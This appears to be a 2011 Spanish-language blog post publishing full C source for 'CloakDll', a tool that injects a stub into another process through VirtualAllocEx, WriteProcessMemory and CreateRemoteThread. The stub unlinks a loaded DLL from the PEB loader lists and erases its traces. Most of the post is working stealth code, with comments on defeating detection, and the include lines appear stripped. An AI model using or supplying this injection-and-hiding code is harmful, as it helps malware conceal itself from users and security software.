Dll Cloaking - Hide a loaded Dll from Windows

On viernes, 28 de enero de 2011 0 comentarios

Description // Info




Source Code

  1. //   The purpose of CloakDll is to allow the user to hide any loaded
  2. //   module from the windows API.  It works by accessing the modules
  3. //   list stored in the PEB, and subsequently unlinking the module
  4. //   in question from all 4 of the doubly-linked lists that it\'s a
  5. //   node of.  It then zeroes out the structure and the path/file
  6. //   name of the module in memory.  So that even if the memory where
  7. //   the data about this module used to reside is scanned there will
  8. //   still be no conclusive evidence of it\'s existence.  At present
  9. //   there is only one weakness that I have found in this method.
  10. //   I\'ll describe how it may still be possible to discover at least
  11. //   that a module has been hidden, after a brief introduction to how
  12. //   the GetModuleHandle function works.
  13. //
  14. //   *The following information is not documented by Microsoft.  This
  15. //    information consists of my findings while reverse-engineering
  16. //    these functions and some of them may be incorrect and/or
  17. //    subject to change at any time(and is almost definitely different
  18. //    in different versions of windows, and maybe even in different
  19. //    service packs).  I\'ve tried to make my code as version independant
  20. //    as possible but certain parts of it may not work on older versions
  21. //    of windows.  I\'ve tested it on XP SP2 and there i\'ll guarantee
  22. //    that it works, but on any other versions of windows, it\'s anyone\'s
  23. //    guess.*
  24. //
  25. //   GetModuleHandle eventually calls GetModuleHandleExW, which in
  26. //   turn accesses the native API function GetDllHandle, which calls
  27. //   GetDllHandleEx.  And it\'s not until here, that we actually see
  28. //   anything even begin to look up information about loaded modules.
  29. //   Whenever GetModuleHandle is called, it saves the address of the
  30. //   last ModuleInfoNode structure that it found in a global variable
  31. //   inside of ntdll.  This global variable is the first thing
  32. //   checked on all subsequent calls to GetModuleHandle.  If the
  33. //   handle being requested is not the one that was requested the last
  34. //   time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
  35. //   LdrpCheckForLoadedDll begins by converting the first letter of the
  36. //   module name being requested to uppercase, decrementing it by 1 and
  37. //   AND\'ing it with 0x1F.  This effectively creates a 0-based index
  38. //   beginning with the letter \'A\'.  The purpose of this is so that
  39. //   the module can first be looked up in a hash table.  The hash table
  40. //   consists entirely of LIST_ENTRY structures.  One for each letter
  41. //   \'A\' through \'Z\'.  The LIST_ENTRY structure points to the first
  42. //   and last modules loaded that begin with the letter assigned to
  43. //   that entry in the hash table.  The Flink member being the first
  44. //   loaded beginning with that letter, and the Blink member being the
  45. //   last.  The code scans through this list until it finds the module
  46. //   that it\'s looking for.  On the off-chance that it doesn\'t find it
  47. //   there, or if the boolean argument UseLdrpHashTable is set to false
  48. //   it will begin going through one of the other three lists.  If, at
  49. //   this point it still doesn\'t find it, it will admit defeat and return
  50. //   0 for the module handle.
  51. //
  52. //   Weakness:  The global variable inside ntdll that caches the pointer
  53. //   to the last module looked up could be used to at least detect the
  54. //   fact that a module has been hidden.  The LdrUnloadDll() function
  55. //   will set this value to 0 when it unloads a module, so if the cache
  56. //   variable points to an empty structure, the only logical conclusion
  57. //   would be a hidden module somewhere in the process.  This could be
  58. //   resolved by using the static address of this variable and simply
  59. //   zeroing it out.  However, this would make the code specific to only
  60. //   one version of windows.  You could also scan the address space of
  61. //   ntdll for any occurences of the base address(aka module handle)
  62. //   of the module you\'re hiding.  However, this would be slow and it
  63. //   would clutter up the CloakDll_stub function, because it\'d have to
  64. //   all be done manually.  And i\'d have to either use a static base
  65. //   address for ntdll...which would probably work on most versions
  66. //   of windows, however I really don\'t like using static addresses.
  67. //   Or i\'d have to manually locate it by writing my own unicode
  68. //   string comparison code, to lookup ntdll in the list by it\'s name.
  69. //   Realistically though anyone trying to detect this way would run
  70. //   into the same problem.  That their code would not be version
  71. //   independant.  So, it\'s unlikely to see any largescale deployment
  72. //   of such a technique.  However, anyone who would like to solve
  73. //   this problem themselves is perfectly free, and encouraged to do
  74. //   so.
  75.  
  76. #include
  77. #include
  78. #include
  79. #include
  80.  
  81.  
  82. #pragma comment(lib, \"shlwapi.lib\")
  83.  
  84. #define UPPERCASE(x) if((x) >= \'a\' && (x) <= \'z\') (x) -= \'a\' - \'A\' ;
  85. #define UNLINK(x) (x).Blink->Flink = (x).Flink;  (x).Flink->Blink = (x).Blink;
  86.    
  87. #pragma pack(push, 1)
  88.  
  89. typedef struct _UNICODE_STRING {
  90.   USHORT  Length;
  91.   USHORT  MaximumLength;
  92.   PWSTR  Buffer;
  93. } UNICODE_STRING, *PUNICODE_STRING;
  94.  
  95. typedef struct _ModuleInfoNode
  96. {
  97.    LIST_ENTRY LoadOrder;
  98.    LIST_ENTRY InitOrder;
  99.    LIST_ENTRY MemoryOrder;
  100.    HMODULE baseAddress;      //   Base address AKA module handle
  101.    unsigned long entryPoint;
  102.    unsigned int size;         //   Size of the modules image
  103.    UNICODE_STRING fullPath;
  104.    UNICODE_STRING name;
  105.    unsigned long flags;
  106.    unsigned short LoadCount;
  107.    unsigned short TlsIndex;
  108.    LIST_ENTRY HashTable;   //   A linked list of any other modules that have the same first letter
  109.    unsigned long timestamp;
  110. } ModuleInfoNode, *pModuleInfoNode;
  111.  
  112. typedef struct _ProcessModuleInfo
  113. {
  114.    unsigned int size;         //   Size of a ModuleInfo node?
  115.    unsigned int initialized;
  116.    HANDLE SsHandle;
  117.    LIST_ENTRY LoadOrder;
  118.    LIST_ENTRY InitOrder;
  119.    LIST_ENTRY MemoryOrder;
  120. } ProcessModuleInfo, *pProcessModuleInfo;
  121.  
  122.  
  123. #pragma pack(pop)
  124.  
  125. bool CloakDll_stub(HMODULE);
  126. void CD_stubend();
  127.  
  128. bool CloakDll(char *, char *);
  129. unsigned long GetProcessIdFromProcname(char *);
  130. HMODULE GetRemoteModuleHandle(unsigned long, char *);
  131.  
  132.  
  133. int main(int argc, char **argv)
  134. {
  135.    CloakDll(\"notepad.exe\", \"kernel32.dll\");
  136.    return 0;
  137. }
  138.  
  139. bool CloakDll(char *process, char *dllName)
  140. {
  141.    PathStripPath(dllName);
  142.  
  143.    unsigned long procId;
  144.    procId = GetProcessIdFromProcname(process);
  145.    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
  146.  
  147.    //   Calculate the length of the stub by subtracting it\'s address
  148.    //   from the beginning of the function directly ahead of it.
  149.    //
  150.    //   NOTE: If the compiler compiles the functions in a different
  151.    //   order than they appear in the code, this will not work as
  152.    //   it\'s supposed to.  However, most compilers won\'t do that.
  153.    unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub;
  154.  
  155.    //   Allocate space for the CloakDll_stub function
  156.    void *stubAddress = VirtualAllocEx(hProcess,
  157.       NULL,
  158.       stubLen,
  159.       MEM_RESERVE | MEM_COMMIT,
  160.       PAGE_EXECUTE_READWRITE);
  161.  
  162.    //   Write the stub\'s code to the page we allocated for it
  163.    WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL);
  164.  
  165.    HMODULE hMod = GetRemoteModuleHandle(procId, dllName);
  166.  
  167.    //   Create a thread in the remote process to execute our code
  168.    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL);
  169.  
  170.    //   Clean up after ourselves, so as to leave as little impact as possible
  171.    //   on the remote process
  172.    VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE);
  173.    return true;
  174. }
  175.  
  176. bool CloakDll_stub(HMODULE hMod)
  177. {
  178.    ProcessModuleInfo *pmInfo;
  179.    ModuleInfoNode *module;
  180.  
  181.    _asm
  182.    {
  183.       mov eax, fs:[18h]      // TEB
  184.       mov eax, [eax + 30h]   // PEB
  185.       mov eax, [eax + 0Ch]   // PROCESS_MODULE_INFO
  186.       mov pmInfo, eax
  187.    }
  188.  
  189.     module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
  190.    
  191.    while(module->baseAddress && module->baseAddress != hMod)
  192.       module = (ModuleInfoNode *)(module->LoadOrder.Flink);
  193.  
  194.    if(!module->baseAddress)
  195.       return false;
  196.  
  197.    //   Remove the module entry from the list here
  198.    ///////////////////////////////////////////////////    
  199.    //   Unlink from the load order list
  200.    UNLINK(module->LoadOrder);
  201.    //   Unlink from the init order list
  202.    UNLINK(module->InitOrder);
  203.    //   Unlink from the memory order list
  204.    UNLINK(module->MemoryOrder);
  205.    //   Unlink from the hash table
  206.    UNLINK(module->HashTable);
  207.  
  208.    //   Erase all traces that it was ever there
  209.    ///////////////////////////////////////////////////
  210.  
  211.    //   This code will pretty much always be optimized into a rep stosb/stosd pair
  212.    //   so it shouldn\'t cause problems for relocation.
  213.    //   Zero out the module name
  214.    memset(module->fullPath.Buffer, 0, module->fullPath.Length);
  215.    //   Zero out the memory of this module\'s node
  216.    memset(module, 0, sizeof(ModuleInfoNode));    
  217.  
  218.    return true;
  219. }
  220.  
  221. __declspec(naked) void CD_stubend() { }
  222.  
  223. unsigned long GetProcessIdFromProcname(char *procName)
  224. {
  225.    PROCESSENTRY32 pe;
  226.    HANDLE thSnapshot;
  227.    BOOL retval, ProcFound = false;
  228.  
  229.    thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  230.  
  231.    if(thSnapshot == INVALID_HANDLE_VALUE)
  232.    {
  233.       MessageBox(NULL, \"Error: unable to create toolhelp snapshot\", \"Loader\", NULL);
  234.       return false;
  235.    }
  236.  
  237.    pe.dwSize = sizeof(PROCESSENTRY32);
  238.  
  239.     retval = Process32First(thSnapshot, &pe);
  240.  
  241.    while(retval)
  242.    {
  243.       if(StrStrI(pe.szExeFile, procName) )
  244.       {
  245.          ProcFound = true;
  246.          break;
  247.       }
  248.  
  249.       retval    = Process32Next(thSnapshot,&pe);
  250.       pe.dwSize = sizeof(PROCESSENTRY32);
  251.    }
  252.  
  253.    return pe.th32ProcessID;
  254. }
  255.  
  256. HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
  257. {
  258.    MODULEENTRY32 modEntry;
  259.    HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);
  260.  
  261.    modEntry.dwSize = sizeof(MODULEENTRY32);
  262.     Module32First(tlh, &modEntry);
  263.  
  264.    do
  265.    {
  266.       if(!stricmp(modEntry.szModule, module))
  267.          return modEntry.hModule;
  268.       modEntry.dwSize = sizeof(MODULEENTRY32);
  269.    }
  270.    while(Module32Next(tlh, &modEntry));
  271.  
  272.    return NULL;
  273. }

0 comentarios:

Publicar un comentario